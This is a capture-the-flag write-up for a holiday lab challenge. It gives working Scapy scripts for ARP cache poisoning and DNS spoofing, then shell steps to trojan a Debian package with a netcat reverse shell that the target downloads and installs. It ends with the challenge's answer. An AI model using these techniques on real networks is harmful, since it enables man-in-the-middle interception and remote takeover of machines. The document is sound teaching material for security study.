Objective 9: ARP Shenanigans

Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?

This challenge was particularly fun because it involved custom-coding an arp spoof to answer a DNS request, and then sending a malicious payload to obtain a shell on another server, to ultimately obtain the report stored there.

But first, I was presented with the following MOTD:

Jack Frost has hijacked the host at 10.6.6.35 with some custom malware.
Help the North Pole by getting command line access back to this host.

Read the HELP.md file for information to help you in this endeavor.

Note: The terminal lifetime expires after 30 or more minutes so be 
sure to copy off any essential work you have done as you go.

guest@dcee5f5da5aa:~$ 

And the contents of HELP.md:

# How To Resize and Switch Terminal Panes:
You can use the key combinations ( Ctrl+B ↑ or ↓ ) to resize the terminals.
You can use the key combinations ( Ctrl+B o ) to switch terminal panes.
See tmuxcheatsheet.com for more details

# To Add An Additional Terminal Pane:
    /usr/bin/tmux split-window -hb

# To exit a terminal pane simply type:
    exit

# To Launch a webserver to serve-up files/folder in a local directory:
    cd /my/directory/with/files
    python3 -m http.server 80

# A Sample ARP pcap can be viewed at:
https://www.cloudshark.org/captures/d97c5b81b057

# A Sample DNS pcap can be viewed at:
https://www.cloudshark.org/captures/0320b9b57d35

# If Reading arp.pcap with tcpdump or tshark be sure to disable name
# resolution or it will stall when reading:
    tshark -nnr arp.pcap
    tcpdump -nnr arp.pcap

The Basic Gist

Essentially, based on the above, I have a few goals to accomplish:

Let's get to work!

Step 1, here's that ARP-Reply you ordered!

What I need to do is answer the ARP Request that the machine is sending out. It wants to know who owns the IP of 10.6.6.53. I do not own that IP, but my target doesn't know that. I can write a script that simply says "hey, you're looking for 10.6.6.53? Oh then you want [my mac address]". If all goes well, the machine should respond with a simple "Oh, okay!" and send me another packet with what it needs.

The code I used to answer the arp request and claim I'm the one they're looking for:

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])

def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr)

        arp_response = ARP(pdst="4c:24:57:ab:ed:84")
        arp_response.op = 2
        arp_response.plen = 4
        arp_response.hwlen = 6
        arp_response.ptype = 0x0800
        arp_response.hwtype = 1

        arp_response.hwsrc = macaddr
        arp_response.psrc = "10.6.6.53" # we are spoofing this ip
        arp_response.hwdst = "4c:24:57:ab:ed:84"
        arp_response.pdst = "10.6.6.35" # we are MITM attacking this

        response = ether_resp/arp_response

        sendp(response, iface="eth0")

def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)

if __name__ == "__main__":
    main()

I ran the script by running python3 arp-reply.py while I had tcpdump listening in the background...and I received:

Valid arp response

Step 2: Fresh DNS replies, made to order

After the target receives my ARP request, the next packet it sends out is a DNS request. Since it's expecting that the IP that I'm spoofing (10.6.6.53) is a DNS server and can respond to a DNS request, I will simply have to honor that request. Looking at the request with tcpdump, it looks like the target is making a DNS request to ftp.osuosl.org. As to what it's doing (presumably making an FTP request?) I have yet to discover, so I'll have to write a script that answers that DNS request and says basically "Listen, whatever server you're looking for, I'm it. Just assume I'm that guy." Hopefully we can fool it!

The code I wrote to answer the resulting DNS request that showed up immediately after answering that ARP request:

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"

def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src=macaddr, dst="4c:24:57:ab:ed:84")     # need to replace mac addresses
    ip  = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed)  # need to replace IP addresses
    udp = UDP(dport=packet[UDP].sport, sport=53)          # need to replace ports
    dns = DNS(
        id = packet[DNS].id,
        ancount = 1,
        qr = 1,
        ra = 1,
        qd = packet[DNS].qd,
        an = DNSRR(
            rrname=packet[DNS][DNSQR].qname,
            type= 'A',
            rclass='IN',
            rdata=ipaddr,
            )
    )
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")

def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )

    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)

if __name__ == "__main__":
    main()

And after running the dns reply first with python3 dnsreply.py (since it waits for a DNS request first before sending anything) and then the python3 arpreply.py script again, I get more stuff!

DNS Reply!

Well that's interesting, it's using a lot of ephemeral ports for some back-and-forth communication, and then making a request to me for port 80. A simple HTTP request...I wonder what it's sending?

Oh, and since I'm keeping track:

Step 3: What is it you want from me?

It's making an HTTP request, so that's reasonably easy to determine what it's looking for. I can simply run python3 -m http.server 80 and look at the logs. First I start up the python http server, then run the above two scripts in the right order and view it:

guest@c9e47e8764a2:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [31/Dec/2020 17:47:13] code 404, message File not found
10.6.6.35 - - [31/Dec/2020 17:47:13] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -

Looking for /pub/jfrost/backdoor/suriv_amd64.deb...a Debian package, eh?

Step 4: Well, now, uh, Launcelot, Galahad and I wait until nightfall, and then leap out of the rabbit, taking the French by surprise - not only by surprise, but totally unarmed!

To create a trojan'd rabb-- I mean Debian package, I executed the following:

guest@c9e47e8764a2:~$ mkdir -p ~/trojan/nano
guest@c9e47e8764a2:~$ cp ~/debs/nano_4.8-1ubuntu1_amd64.deb ~/trojan
guest@c9e47e8764a2:~$ mkdir -p ~/trojan/nano/DEBIAN
guest@c9e47e8764a2:~$ cd trojan/
guest@c9e47e8764a2:~/trojan$ ar -x ./nano
nano/                        nano_4.8-1ubuntu1_amd64.deb  
guest@c9e47e8764a2:~/trojan$ ar -x ./nano_4.8-1ubuntu1_amd64.deb 
guest@c9e47e8764a2:~/trojan$ ls
control.tar.xz  data.tar.xz  debian-binary  nano  nano_4.8-1ubuntu1_amd64.deb
guest@c9e47e8764a2:~/trojan$ xz -d ./control.tar.xz
guest@c9e47e8764a2:~/trojan$ tar -xvf ./control.tar 
./
./conffiles
./control
./md5sums
./postinst
./prerm
guest@c9e47e8764a2:~/trojan$ cp control ./nano/DEBIAN/
guest@c9e47e8764a2:~/trojan$ cp postinst ./nano/DEBIAN/
guest@c9e47e8764a2:~/trojan$

I modified the package description because I just can't help myself: In which I pwn j00

I added the following code to the postinst file:

backdoor

Fun fact: The commented out part is the first reverse shell I tried which didn't work for some weird reason. I would get a callback, but no attached shell with it. I have no idea why, it's like it wasn't accepting the redirect special characters or something. Regardless, netcat existed on the machine, and I was lucky enough to be able to use the -e flag, which lets me specify a binary to attach to the session. Obviously I chose /bin/bash.

I buttoned the whole thing up with dpkg-deb --build ./nano, then created the directory structure that the remote server was expecting: /www/pub/jfrost/backdoor/ and renamed the package suriv_amd64.deb.

Now to host it...

guest@c9e47e8764a2:~/trojan$ mkdir -p ~/www/pub/jfrost/backdoor/
guest@c9e47e8764a2:~/trojan$ mv nano.deb ../www/pub/jfrost/backdoor/suriv_amd64.deb
guest@c9e47e8764a2:~/trojan$ cd
guest@c9e47e8764a2:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Step 5: Sit back, relax, pwn all the things

After I started hosting the trojan's debian package, I then executed the two other python scripts to spoof the arp request and reply to the DNS request. So...did it work?:

Full Shell

Full shell! I can access the file NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt:

    LAND USE BOARD
    MEETING MINUTES

    January 20, 2020

    Meeting Location: All gathered in North Pole Municipal Building, 1 
    Santa Claus Ln, North Pole 

    Chairman Frost calls meeting to order at 7:30 PM North Pole Standard 
    Time.

    Roll call of Board members please:
    Chairman Jack Frost - Present
    Vice Chairman Mother Nature - Present
    Superman - Present
    Clarice - Present
    Yukon Cornelius - HERE!
    Ginger Breaddie - Present
    King Moonracer - Present
    Mrs. Donner - Present
    Tanta Kringle - Present
    Charlie In-the-Box - Here
    Krampus - Growl
    Dolly - Present
    Snow Miser - Heya!
    Alabaster Snowball - Hello
    Queen of the Winter Spirits - Present

    ALSO PRESENT:
                    Kris Kringle
                    Pepper Minstix
                    Heat Miser
                    Father Time

    Chairman Frost made the required announcement concerning the Open Public 
    Meetings Act: Adequate notice of this meeting has been made -- displayed 
    on the bulletin board next to the Pole, listed on the North Pole community 
    website, and published in the North Pole Times newspaper -- for people who 
    are interested in this meeting.

    Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner. 
    Second – Superman.  Minutes approved.

    OLD BUSINESS: No Old Business.

    RESOLUTIONS:
    The board took up final discussions of the plans presented last year for 
    the expansion of Santa’s Castle to include new courtyard, additional 
    floors, elevator, roughly tripling the size of the current castle.  
    Architect Ms. Pepper reviewed the planned changes and engineering reports. 
    Chairman Frost noted, “These changes will put a heavy toll on the 
    infrastructure of the North Pole.”  Mr. Krampus replied, “The 
    infrastructure has already been expanded to handle it quite easily.”  
    Chairman Frost then noted, “But the additional traffic will be a burden on 
    local residents.”  Dolly explained traffic projections were all in 
    alignment with existing roadways.  Chairman Frost then exclaimed, “But 
    with all the attention focused on Santa and his castle, how will people 
    ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’”  
    Mr. In-the-Box pointed out that new tourist-friendly taglines are always 
    under consideration by the North Pole Chamber of Commerce, and are not a 
    matter for this Board.  Mrs. Nature made a motion to approve.  Seconded by 
    Mr. Cornelius.  Tanta Kringle recused herself from the vote given her 
    adoption of Kris Kringle as a son early in his life.  

    Approved:
    Mother Nature
    Superman
    Clarice
    Yukon Cornelius
    Ginger Breaddie
    King Moonracer
    Mrs. Donner
    Charlie In the Box
    Krampus
    Dolly
    Snow Miser
    Alabaster Snowball
    Queen of the Winter Spirits

    Opposed: 
                    Jack Frost

    Resolution carries.  Construction approved.

    NEW BUSINESS:

    Father Time Castle, new oversized furnace to be installed by Heat Miser 
    Furnace, Inc.  Mr. H. Miser described the plan for installing new furnace 
    to replace the faltering one in Mr. Time’s 20,000 sq ft castle. Ms. G. 
    Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a 
    figure she considers “incredibly high for a building that size, likely two 
    orders of magnitude too high.  Why, it might burn the whole North Pole 
    down!”  Mr. H. Miser replied with a laugh, “That’s the whole point!”  The 
    board voted unanimously to reject the initial proposal, recommending that 
    Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle 
    heating system.



    Motion to adjourn – So moved, Krampus.  Second – Clarice. All in favor – 
    aye. None opposed, although Chairman Frost made another note of his strong 
    disagreement with the approval of the Kringle Castle expansion plan.  
    Meeting adjourned.

And the answer to the challenge: Tanta Kringle